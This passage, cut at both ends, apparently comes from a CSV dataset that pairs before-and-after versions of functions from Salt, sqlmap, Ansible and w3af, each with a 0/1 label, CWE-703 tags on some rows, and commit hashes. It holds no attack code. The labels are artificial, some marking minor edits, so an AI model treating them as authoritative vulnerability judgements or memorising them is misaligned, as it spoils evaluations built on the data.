        result = chocolatey.chocolatey_version(refresh=True)
        expected = ""2.2.0""
        assert result == expected",CWE-703,saltstack/salt,944d3cd744bd32e45fecedabef7d1520736f01da,"def test_chocolatey_version_refresh():
    context = {""chocolatey._version"": ""0.9.9""}
    mock_find = MagicMock(return_value=""some_path"")
    mock_run = MagicMock(return_value=""2.2.0"")
    with patch.dict(chocolatey.__context__, context), patch.object(
        chocolatey, ""_find_chocolatey"", mock_find
    ), patch.dict(chocolatey.__salt__, {""cmd.run"": mock_run}):
        result = chocolatey.chocolatey_version(refresh=True)
        expected = ""2.2.0""
        assert result == expected"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/kona.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code in (400, 501) and re.search(r""Reference #[0-9A-Fa-f.]+"", page, re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,39a7b787375ed625ee987143c26c2128f53e90a3,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code == 501 and re.search(r""Reference #[0-9A-Fa-f.]+"", page, re.I) is not None
        if retval:
            break

    return retval"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/aci/aci_interface_policy_lldp.py,0,"def main():
    argument_spec = aci_argument_spec()
    argument_spec.update(
        lldp_policy=dict(type='str', require=False, aliases=['name']),  # Not required for querying all objects
        description=dict(type='str', aliases=['descr']),
        receive_state=dict(type='raw'),  # Turn into a boolean in v2.9
        transmit_state=dict(type='raw'),  # Turn into a boolean in v2.9
        state=dict(type='str', default='present', choices=['absent', 'present', 'query']),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ['state', 'absent', ['lldp_policy']],
            ['state', 'present', ['lldp_policy']],
        ],
    )

    aci = ACIModule(module)

    lldp_policy = module.params['lldp_policy']
    description = module.params['description']
    receive_state = aci.boolean(module.params['receive_state'], 'enabled', 'disabled')
    transmit_state = aci.boolean(module.params['transmit_state'], 'enabled', 'disabled')
    state = module.params['state']

    aci.construct_url(
        root_class=dict(
            aci_class='lldpIfPol',
            aci_rn='infra/lldpIfP-{0}'.format(lldp_policy),
            module_object=lldp_policy,
            target_filter={'name': lldp_policy},
        ),
    )

    aci.get_existing()

    if state == 'present':
        aci.payload(
            aci_class='lldpIfPol',
            class_config=dict(
                name=lldp_policy,
                descr=description,
                adminRxSt=receive_state,
                adminTxSt=transmit_state,
            ),
        )

        aci.get_diff(aci_class='lldpIfPol')

        aci.post_config()

    elif state == 'absent':
        aci.delete_config()

    aci.exit_json()",,ansible/ansible,d8ba8c03f3b9f812e88cdb1829dcf59a107ad38a,"def main():
    argument_spec = aci_argument_spec()
    argument_spec.update(
        lldp_policy=dict(type='str', require=False, aliases=['name']),  # Not required for querying all objects
        description=dict(type='str', aliases=['descr']),
        receive_state=dict(type='raw'),  # Turn into a boolean in v2.9
        transmit_state=dict(type='raw'),  # Turn into a boolean in v2.9
        state=dict(type='str', default='present', choices=['absent', 'present', 'query']),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ['state', 'absent', ['lldp_policy']],
            ['state', 'present', ['lldp_policy']],
        ],
    )

    aci = ACIModule(module)

    lldp_policy = module.params['lldp_policy']
    description = module.params['description']
    receive_state = aci.boolean(module.params['receive_state'], 'enabled', 'disabled')
    transmit_state = aci.boolean(module.params['transmit_state'], 'enabled', 'disabled')
    state = module.params['state']

    aci.construct_url(
        root_class=dict(
            aci_class='lldpIfPol',
            aci_rn='infra/lldpIfP-{0}'.format(lldp_policy),
            filter_target='eq(lldpIfPol.name, ""{0}"")'.format(lldp_policy),
            module_object=lldp_policy,
        ),
    )

    aci.get_existing()

    if state == 'present':
        aci.payload(
            aci_class='lldpIfPol',
            class_config=dict(
                name=lldp_policy,
                descr=description,
                adminRxSt=receive_state,
                adminTxSt=transmit_state,
            ),
        )

        aci.get_diff(aci_class='lldpIfPol')

        aci.post_config()

    elif state == 'absent':
        aci.delete_config()

    aci.exit_json()"
,UNKNOWN,UNKNOWN,salt/utils/templates.py,1,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # Alias cmd.run to cmd.shell to make python_shell=True the default for
        # templated calls
        if 'salt' in kws:
            kws['salt'] = AliasedLoader(kws['salt'])

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if 'sls' in context:
            slspath = context['sls'].replace('.', '/')
            if tmplpath is not None:
                context['tplpath'] = tmplpath
                if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
                    slspath = os.path.dirname(slspath)
                template = tmplpath.replace('\\', '/')
                i = template.rfind(slspath.replace('.', '/'))
                if i != -1:
                    template = template[i:]
                tpldir = os.path.dirname(template).replace('\\', '/')
                tpldata = {
                    'tplfile': template,
                    'tpldir': '.' if tpldir == '' else tpldir,
                    'tpldot': tpldir.replace('/', '.'),
                }
                context.update(tpldata)
            context['slsdotpath'] = slspath.replace('/', '.')
            context['slscolonpath'] = slspath.replace('/', ':')
            context['sls_path'] = slspath.replace('/', '_')
            context['slspath'] = slspath

        if isinstance(tmplsrc, six.string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.is_bin_file(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file '
                        '{0}: {1}'.format(tmplsrc, exc),
                        # Show full traceback if debug logging is enabled
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if six.PY2:
                output = output.encode(SLS_ENCODING)
            if salt.utils.is_windows():
                newline = False
                if output.endswith(('\n', os.linesep)):
                    newline = True
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())
                if newline:
                    output += os.linesep

        except SaltRenderError as exc:
            log.error(""Rendering exception occurred: {0}"".format(exc))
            #return dict(result=False, data=str(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False, prefix=salt.utils.files.TEMPFILE_PREFIX) as outf:
                if six.PY3:
                    output = output.encode(SLS_ENCODING)
                outf.write(output)
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)",CWE-703,saltstack/salt,afcaa0c59146ff125a33ece0f10542cce04244bc,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # Alias cmd.run to cmd.shell to make python_shell=True the default for
        # templated calls
        if 'salt' in kws:
            kws['salt'] = AliasedLoader(kws['salt'])

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if 'sls' in context:
            slspath = context['sls'].replace('.', '/')
            if tmplpath is not None:
                context['tplpath'] = tmplpath
                if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
                    slspath = os.path.dirname(slspath)
                template = tmplpath.replace('\\', '/')
                i = template.rfind(slspath.replace('.', '/'))
                if i != -1:
                    template = template[i:]
                tpldir = os.path.dirname(template).replace('\\', '/')
                tpldata = {
                    'tplfile': template,
                    'tpldir': '.' if tpldir == '' else tpldir,
                    'tpldot': tpldir.replace('/', '.'),
                }
                context.update(tpldata)
            context['slsdotpath'] = slspath.replace('/', '.')
            context['slscolonpath'] = slspath.replace('/', ':')
            context['sls_path'] = slspath.replace('/', '_')
            context['slspath'] = slspath

        if isinstance(tmplsrc, six.string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.is_bin_file(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file '
                        '{0}: {1}'.format(tmplsrc, exc),
                        # Show full traceback if debug logging is enabled
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if six.PY2:
                output = output.encode(SLS_ENCODING)
            if salt.utils.is_windows():
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())

        except SaltRenderError as exc:
            log.error(""Rendering exception occurred: {0}"".format(exc))
            #return dict(result=False, data=str(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False, prefix=salt.utils.files.TEMPFILE_PREFIX) as outf:
                if six.PY3:
                    output = output.encode(SLS_ENCODING)
                outf.write(output)
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)"
,UNKNOWN,UNKNOWN,tools/ci.py,1,"def pkg_matrix(
    ctx: Context,
    distro_slug: str,
    pkg_type: str,
    testing_releases: list[tools.utils.Version] = None,
):
    """"""
    Generate the test matrix.
    """"""
    github_output = os.environ.get(""GITHUB_OUTPUT"")
    if github_output is None:
        ctx.warn(""The 'GITHUB_OUTPUT' variable is not set."")
    if TYPE_CHECKING:
        assert testing_releases
    _matrix = []
    sessions = [
        ""install"",
    ]
    # OSs that where never included in 3005
    # We cannot test an upgrade for this OS on this version
    not_3005 = [""amazonlinux-2-arm64"", ""photonos-5"", ""photonos-5-arm64""]
    # OSs that where never included in 3006
    # We cannot test an upgrade for this OS on this version
    not_3006 = [""photonos-5"", ""photonos-5-arm64""]
    if (
        distro_slug
        not in [
            ""amazon-2023"",
            ""amazon-2023-arm64"",
            ""debian-11-arm64"",
            # TODO: remove debian 12 once debian 12 pkgs are released
            ""debian-12-arm64"",
            ""debian-12"",
            # TODO: remove amazon 2023 once amazon 2023 pkgs are released
            ""amazonlinux-2023"",
            ""amazonlinux-2023-arm64"",
            ""ubuntu-20.04-arm64"",
            ""ubuntu-22.04-arm64"",
            ""photonos-3"",
            ""photonos-3-arm64"",
            ""photonos-4"",
            ""photonos-4-arm64"",
            ""photonos-5"",
            ""photonos-5-arm64"",
            ""amazonlinux-2-arm64"",
            ""amazonlinux-2023"",
            ""amazonlinux-2023-arm64"",
        ]
        and pkg_type != ""MSI""
    ):
        # These OS's never had arm64 packages built for them
        # with the tiamat onedir packages.
        # we will need to ensure when we release 3006.0
        # we allow for 3006.0 jobs to run, because then
        # we will have arm64 onedir packages to upgrade from
        sessions.append(""upgrade"")
        sessions.append(""downgrade"")

    still_testing_3005 = False
    for release_version in testing_releases:
        if still_testing_3005:
            break
        if release_version < tools.utils.Version(""3006.0""):
            still_testing_3005 = True

    if still_testing_3005 is False:
        ctx.error(
            f""No longer testing 3005.x releases please update {__file__} ""
            ""and remove this error and the logic above the error""
        )
        ctx.exit(1)

    # TODO: Remove this block when we reach version 3009.0, we will no longer be testing upgrades from classic packages
    if (
        distro_slug
        not in [
            ""amazon-2023"",
            ""amazon-2023-arm64"",
            ""centosstream-9"",
            ""debian-11-arm64"",
            ""debian-12-arm64"",
            ""debian-12"",
            ""amazonlinux-2023"",
            ""amazonlinux-2023-arm64"",
            ""ubuntu-22.04"",
            ""ubuntu-22.04-arm64"",
            ""photonos-3"",
            ""photonos-3-arm64"",
            ""photonos-4"",
            ""photonos-4-arm64"",
            ""photonos-5"",
            ""photonos-5-arm64"",
        ]
        and pkg_type != ""MSI""
    ):
        # Packages for these OSs where never built for classic previously
        sessions.append(""upgrade-classic"")
        sessions.append(""downgrade-classic"")

    for session in sessions:
        versions: list[str | None] = [None]
        if session in (""upgrade"", ""downgrade""):
            versions = [str(version) for version in testing_releases]
        elif session in (""upgrade-classic"", ""downgrade-classic""):
            versions = [
                str(version)
                for version in testing_releases
                if version < tools.utils.Version(""3006.0"")
            ]
        for version in versions:
            if (
                version
                and distro_slug in not_3005
                and version < tools.utils.Version(""3006.0"")
            ):
                # We never build packages for these OSs in 3005
                continue
            elif (
                version
                and distro_slug in not_3006
                and version < tools.utils.Version(""3007.0"")
            ):
                # We never build packages for these OSs in 3006
                continue
            if (
                version
                and distro_slug.startswith(""amazonlinux-2023"")
                and version < tools.utils.Version(""3006.6"")
            ):
                # We never build packages for AmazonLinux 2023 prior to 3006.5
                continue
            _matrix.append(
                {
                    ""test-chunk"": session,
                    ""version"": version,
                }
            )
    ctx.info(""Generated matrix:"")
    ctx.print(_matrix, soft_wrap=True)

    if github_output is not None:
        with open(github_output, ""a"", encoding=""utf-8"") as wfh:
            wfh.write(f""matrix={json.dumps(_matrix)}\n"")
    ctx.exit(0)",CWE-703,saltstack/salt,bb4d8e25edde69af9378a18f9fb63a9a07afa74f,"def pkg_matrix(
    ctx: Context,
    distro_slug: str,
    pkg_type: str,
    testing_releases: list[tools.utils.Version] = None,
):
    """"""
    Generate the test matrix.
    """"""
    github_output = os.environ.get(""GITHUB_OUTPUT"")
    if github_output is None:
        ctx.warn(""The 'GITHUB_OUTPUT' variable is not set."")
    if TYPE_CHECKING:
        assert testing_releases
    _matrix = []
    sessions = [
        ""install"",
    ]
    # OSs that where never included in 3005
    # We cannot test an upgrade for this OS on this version
    not_3005 = [""amazonlinux-2-arm64"", ""photonos-5"", ""photonos-5-arm64""]
    # OSs that where never included in 3006
    # We cannot test an upgrade for this OS on this version
    not_3006 = [""photonos-5"", ""photonos-5-arm64""]
    if (
        distro_slug
        not in [
            ""amazon-2023"",
            ""amazon-2023-arm64"",
            ""debian-11-arm64"",
            # TODO: remove debian 12 once debian 12 pkgs are released
            ""debian-12-arm64"",
            ""debian-12"",
            # TODO: remove amazon 2023 once amazon 2023 pkgs are released
            ""amazonlinux-2023"",
            ""amazonlinux-2023-arm64"",
            ""ubuntu-20.04-arm64"",
            ""ubuntu-22.04-arm64"",
            ""photonos-3"",
            ""photonos-3-arm64"",
            ""photonos-4"",
            ""photonos-4-arm64"",
            ""photonos-5"",
            ""photonos-5-arm64"",
        ]
        and pkg_type != ""MSI""
    ):
        # These OS's never had arm64 packages built for them
        # with the tiamat onedir packages.
        # we will need to ensure when we release 3006.0
        # we allow for 3006.0 jobs to run, because then
        # we will have arm64 onedir packages to upgrade from
        sessions.append(""upgrade"")
        sessions.append(""downgrade"")

    still_testing_3005 = False
    for release_version in testing_releases:
        if still_testing_3005:
            break
        if release_version < tools.utils.Version(""3006.0""):
            still_testing_3005 = True

    if still_testing_3005 is False:
        ctx.error(
            f""No longer testing 3005.x releases please update {__file__} ""
            ""and remove this error and the logic above the error""
        )
        ctx.exit(1)

    # TODO: Remove this block when we reach version 3009.0, we will no longer be testing upgrades from classic packages
    if (
        distro_slug
        not in [
            ""amazon-2023"",
            ""amazon-2023-arm64"",
            ""centosstream-9"",
            ""debian-11-arm64"",
            ""debian-12-arm64"",
            ""debian-12"",
            ""amazonlinux-2023"",
            ""amazonlinux-2023-arm64"",
            ""ubuntu-22.04"",
            ""ubuntu-22.04-arm64"",
            ""photonos-3"",
            ""photonos-3-arm64"",
            ""photonos-4"",
            ""photonos-4-arm64"",
            ""photonos-5"",
            ""photonos-5-arm64"",
        ]
        and pkg_type != ""MSI""
    ):
        # Packages for these OSs where never built for classic previously
        sessions.append(""upgrade-classic"")
        sessions.append(""downgrade-classic"")

    for session in sessions:
        versions: list[str | None] = [None]
        if session in (""upgrade"", ""downgrade""):
            versions = [str(version) for version in testing_releases]
        elif session in (""upgrade-classic"", ""downgrade-classic""):
            versions = [
                str(version)
                for version in testing_releases
                if version < tools.utils.Version(""3006.0"")
            ]
        for version in versions:
            if (
                version
                and distro_slug in not_3005
                and version < tools.utils.Version(""3006.0"")
            ):
                # We never build packages for these OSs in 3005
                continue
            elif (
                version
                and distro_slug in not_3006
                and version < tools.utils.Version(""3007.0"")
            ):
                # We never build packages for these OSs in 3006
                continue
            _matrix.append(
                {
                    ""test-chunk"": session,
                    ""version"": version,
                }
            )
    ctx.info(""Generated matrix:"")
    ctx.print(_matrix, soft_wrap=True)

    if github_output is not None:
        with open(github_output, ""a"", encoding=""utf-8"") as wfh:
            wfh.write(f""matrix={json.dumps(_matrix)}\n"")
    ctx.exit(0)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/dc/generic/kv_container.py,0,"def get_short_printable_repr(self):
        """"""
        :return: A string with a short printable representation of self
        """"""
        printable_self = filter_non_printable(str(self))

        if len(printable_self) <= self.MAX_PRINTABLE:
            return printable_self

        if self.get_token() is not None:
            # I want to show the token variable and value in the output
            # pylint: disable=E1133
            for k, v in self.items():
                for ele in v:
                    if isinstance(ele, DataToken):
                        dt_str = '%s=%s' % (filter_non_printable(ele.get_name()),
                                            filter_non_printable(ele.get_value()))
                        return '...%s...' % dt_str[:self.MAX_PRINTABLE]
            # pylint: enable=E1133
        else:
            # I'll simply show the first N parameter and values until the
            # MAX_PRINTABLE is achieved
            return printable_self[:self.MAX_PRINTABLE]",,andresriancho/w3af,9e047da2575a761009ef74c6a12bb49613a399d9,"def get_short_printable_repr(self):
        """"""
        :return: A string with a short printable representation of self
        """"""
        if len(filter_non_printable(str(self))) <= self.MAX_PRINTABLE:
            return filter_non_printable(str(self))

        if self.get_token() is not None:
            # I want to show the token variable and value in the output
            # pylint: disable=E1133
            for k, v in self.items():
                for ele in v:
                    if isinstance(ele, DataToken):
                        dt_str = '%s=%s' % (filter_non_printable(ele.get_name()),
                                            filter_non_printable(ele.get_value()))
                        return '...%s...' % dt_str[:self.MAX_PRINTABLE]
            # pylint: enable=E1133
        else:
            # I'll simply show the first N parameter and values until the
            # MAX_PRINTABLE is achieved
            return filter_non_printable(str(self))[:self.MAX_PRINTABLE]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/fortios/fortios_vpn_ipsec_phase1.py,0,"def main():
    fields = {
        ""host"": {""required"": False, ""type"": ""str""},
        ""username"": {""required"": False, ""type"": ""str""},
        ""password"": {""required"": False, ""type"": ""str"", ""default"": """", ""no_log"": True},
        ""vdom"": {""required"": False, ""type"": ""str"", ""default"": ""root""},
        ""https"": {""required"": False, ""type"": ""bool"", ""default"": True},
        ""ssl_verify"": {""required"": False, ""type"": ""bool"", ""default"": True},
        ""state"": {""required"": False, ""type"": ""str"",
                  ""choices"": [""present"", ""absent""]},
        ""vpn_ipsec_phase1"": {
            ""required"": False, ""type"": ""dict"", ""default"": None,
            ""options"": {
                ""state"": {""required"": False, ""type"": ""str"",
                          ""choices"": [""present"", ""absent""]},
                ""acct_verify"": {""required"": False, ""type"": ""str"",
                                ""choices"": [""enable"", ""disable""]},
                ""add_gw_route"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""enable"", ""disable""]},
                ""add_route"": {""required"": False, ""type"": ""str"",
                              ""choices"": [""disable"", ""enable""]},
                ""assign_ip"": {""required"": False, ""type"": ""str"",
                              ""choices"": [""disable"", ""enable""]},
                ""assign_ip_from"": {""required"": False, ""type"": ""str"",
                                   ""choices"": [""range"", ""usrgrp"", ""dhcp"",
                                               ""name""]},
                ""authmethod"": {""required"": False, ""type"": ""str"",
                               ""choices"": [""psk"", ""signature""]},
                ""authmethod_remote"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""psk"", ""signature""]},
                ""authpasswd"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                ""authusr"": {""required"": False, ""type"": ""str""},
                ""authusrgrp"": {""required"": False, ""type"": ""str""},
                ""auto_negotiate"": {""required"": False, ""type"": ""str"",
                                   ""choices"": [""enable"", ""disable""]},
                ""backup_gateway"": {""required"": False, ""type"": ""list"",
                                   ""options"": {
                                       ""address"": {""required"": True, ""type"": ""str""}
                                   }},
                ""banner"": {""required"": False, ""type"": ""str""},
                ""cert_id_validation"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""enable"", ""disable""]},
                ""certificate"": {""required"": False, ""type"": ""list"",
                                ""options"": {
                                    ""name"": {""required"": True, ""type"": ""str""}
                                }},
                ""childless_ike"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""enable"", ""disable""]},
                ""client_auto_negotiate"": {""required"": False, ""type"": ""str"",
                                          ""choices"": [""disable"", ""enable""]},
                ""client_keep_alive"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""disable"", ""enable""]},
                ""comments"": {""required"": False, ""type"": ""str""},
                ""dhgrp"": {""required"": False, ""type"": ""str"",
                          ""choices"": [""1"", ""2"", ""5"",
                                      ""14"", ""15"", ""16"",
                                      ""17"", ""18"", ""19"",
                                      ""20"", ""21"", ""27"",
                                      ""28"", ""29"", ""30"",
                                      ""31""]},
                ""digital_signature_auth"": {""required"": False, ""type"": ""str"",
                                           ""choices"": [""enable"", ""disable""]},
                ""distance"": {""required"": False, ""type"": ""int""},
                ""dns_mode"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""manual"", ""auto""]},
                ""domain"": {""required"": False, ""type"": ""str""},
                ""dpd"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""disable"", ""on-idle"", ""on-demand""]},
                ""dpd_retrycount"": {""required"": False, ""type"": ""int""},
                ""dpd_retryinterval"": {""required"": False, ""type"": ""str""},
                ""eap"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""enable"", ""disable""]},
                ""eap_identity"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""use-id-payload"", ""send-request""]},
                ""enforce_unique_id"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""disable"", ""keep-new"", ""keep-old""]},
                ""forticlient_enforcement"": {""required"": False, ""type"": ""str"",
                                            ""choices"": [""enable"", ""disable""]},
                ""fragmentation"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""enable"", ""disable""]},
                ""fragmentation_mtu"": {""required"": False, ""type"": ""int""},
                ""group_authentication"": {""required"": False, ""type"": ""str"",
                                         ""choices"": [""enable"", ""disable""]},
                ""group_authentication_secret"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                ""ha_sync_esp_seqno"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""enable"", ""disable""]},
                ""idle_timeout"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""enable"", ""disable""]},
                ""idle_timeoutinterval"": {""required"": False, ""type"": ""int""},
                ""ike_version"": {""required"": False, ""type"": ""str"",
                                ""choices"": [""1"", ""2""]},
                ""include_local_lan"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""disable"", ""enable""]},
                ""interface"": {""required"": False, ""type"": ""str""},
                ""ipv4_dns_server1"": {""required"": False, ""type"": ""str""},
                ""ipv4_dns_server2"": {""required"": False, ""type"": ""str""},
                ""ipv4_dns_server3"": {""required"": False, ""type"": ""str""},
                ""ipv4_end_ip"": {""required"": False, ""type"": ""str""},
                ""ipv4_exclude_range"": {""required"": False, ""type"": ""list"",
                                       ""options"": {
                                           ""end_ip"": {""required"": False, ""type"": ""str""},
                                           ""id"": {""required"": True, ""type"": ""int""},
                                           ""start_ip"": {""required"": False, ""type"": ""str""}
                                       }},
                ""ipv4_name"": {""required"": False, ""type"": ""str""},
                ""ipv4_netmask"": {""required"": False, ""type"": ""str""},
                ""ipv4_split_exclude"": {""required"": False, ""type"": ""str""},
                ""ipv4_split_include"": {""required"": False, ""type"": ""str""},
                ""ipv4_start_ip"": {""required"": False, ""type"": ""str""},
                ""ipv4_wins_server1"": {""required"": False, ""type"": ""str""},
                ""ipv4_wins_server2"": {""required"": False, ""type"": ""str""},
                ""ipv6_dns_server1"": {""required"": False, ""type"": ""str""},
                ""ipv6_dns_server2"": {""required"": False, ""type"": ""str""},
                ""ipv6_dns_server3"": {""required"": False, ""type"": ""str""},
                ""ipv6_end_ip"": {""required"": False, ""type"": ""str""},
                ""ipv6_exclude_range"": {""required"": False, ""type"": ""list"",
                                       ""options"": {
                                           ""end_ip"": {""required"": False, ""type"": ""str""},
                                           ""id"": {""required"": True, ""type"": ""int""},
                                           ""start_ip"": {""required"": False, ""type"": ""str""}
                                       }},
                ""ipv6_name"": {""required"": False, ""type"": ""str""},
                ""ipv6_prefix"": {""required"": False, ""type"": ""int""},
                ""ipv6_split_exclude"": {""required"": False, ""type"": ""str""},
                ""ipv6_split_include"": {""required"": False, ""type"": ""str""},
                ""ipv6_start_ip"": {""required"": False, ""type"": ""str""},
                ""keepalive"": {""required"": False, ""type"": ""int""},
                ""keylife"": {""required"": False, ""type"": ""int""},
                ""local_gw"": {""required"": False, ""type"": ""str""},
                ""localid"": {""required"": False, ""type"": ""str""},
                ""localid_type"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""auto"", ""fqdn"", ""user-fqdn"",
                                             ""keyid"", ""address"", ""asn1dn""]},
                ""mesh_selector_type"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""disable"", ""subnet"", ""host""]},
                ""mode"": {""required"": False, ""type"": ""str"",
                         ""choices"": [""aggressive"", ""main""]},
                ""mode_cfg"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""disable"", ""enable""]},
                ""name"": {""required"": True, ""type"": ""str""},
                ""nattraversal"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""enable"", ""disable"", ""forced""]},
                ""negotiate_timeout"": {""required"": False, ""type"": ""int""},
                ""peer"": {""required"": False, ""type"": ""str""},
                ""peergrp"": {""required"": False, ""type"": ""str""},
                ""peerid"": {""required"": False, ""type"": ""str""},
                ""peertype"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""any"", ""one"", ""dialup"",
                                         ""peer"", ""peergrp""]},
                ""ppk"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""disable"", ""allow"", ""require""]},
                ""ppk_identity"": {""required"": False, ""type"": ""str""},
                ""ppk_secret"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                ""priority"": {""required"": False, ""type"": ""int""},
                ""proposal"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""des-md5"", ""des-sha1"", ""des-sha256"",
                                         ""des-sha384"", ""des-sha512""]},
                ""psksecret"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                ""psksecret_remote"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                ""reauth"": {""required"": False, ""type"": ""str"",
                           ""choices"": [""disable"", ""enable""]},
                ""rekey"": {""required"": False, ""type"": ""str"",
                          ""choices"": [""enable"", ""disable""]},
                ""remote_gw"": {""required"": False, ""type"": ""str""},
                ""remotegw_ddns"": {""required"": False, ""type"": ""str""},
                ""rsa_signature_format"": {""required"": False, ""type"": ""str"",
                                         ""choices"": [""pkcs1"", ""pss""]},
                ""save_password"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""disable"", ""enable""]},
                ""send_cert_chain"": {""required"": False, ""type"": ""str"",
                                    ""choices"": [""enable"", ""disable""]},
                ""signature_hash_alg"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""sha1"", ""sha2-256"", ""sha2-384"",
                                                   ""sha2-512""]},
                ""split_include_service"": {""required"": False, ""type"": ""str""},
                ""suite_b"": {""required"": False, ""type"": ""str"",
                            ""choices"": [""disable"", ""suite-b-gcm-128"", ""suite-b-gcm-256""]},
                ""type"": {""required"": False, ""type"": ""str"",
                         ""choices"": [""static"", ""dynamic"", ""ddns""]},
                ""unity_support"": {""required"": False, ""type"": ""str"",
                                  ""choices"": [""disable"", ""enable""]},
                ""usrgrp"": {""required"": False, ""type"": ""str""},
                ""wizard_type"": {""required"": False, ""type"": ""str"",
                                ""choices"": [""custom"", ""dialup-forticlient"", ""dialup-ios"",
                                            ""dialup-android"", ""dialup-windows"", ""dialup-cisco"",
                                            ""static-fortigate"", ""dialup-fortigate"", ""static-cisco"",
                                            ""dialup-cisco-fw""]},
                ""xauthtype"": {""required"": False, ""type"": ""str"",
                              ""choices"": [""disable"", ""client"", ""pap"",
                                          ""chap"", ""auto""]}

            }
        }
    }

    module = AnsibleModule(argument_spec=fields,
                           supports_check_mode=False)

    # legacy_mode refers to using fortiosapi instead of HTTPAPI
    legacy_mode = 'host' in module.params and module.params['host'] is not None and \
                  'username' in module.params and module.params['username'] is not None and \
                  'password' in module.params and module.params['password'] is not None

    if not legacy_mode:
        if module._socket_path:
            connection = Connection(module._socket_path)
            fos = FortiOSHandler(connection)

            is_error, has_changed, result = fortios_vpn_ipsec(module.params, fos)
        else:
            module.fail_json(**FAIL_SOCKET_MSG)
    else:
        try:
            from fortiosapi import FortiOSAPI
        except ImportError:
            module.fail_json(msg=""fortiosapi module is required"")

        fos = FortiOSAPI()

        login(module.params, fos)
        is_error, has_changed, result = fortios_vpn_ipsec(module.params, fos)
        fos.logout()

    if not is_error:
        module.exit_json(changed=has_changed, meta=result)
    else:
        module.fail_json(msg=""Error in repo"", meta=result)",,ansible/ansible,9052b0e7f2d66aaec3420a5f6f678a22aab9fa8d,"def main():
    fields = {
        ""host"": {""required"": False, ""type"": ""str""},
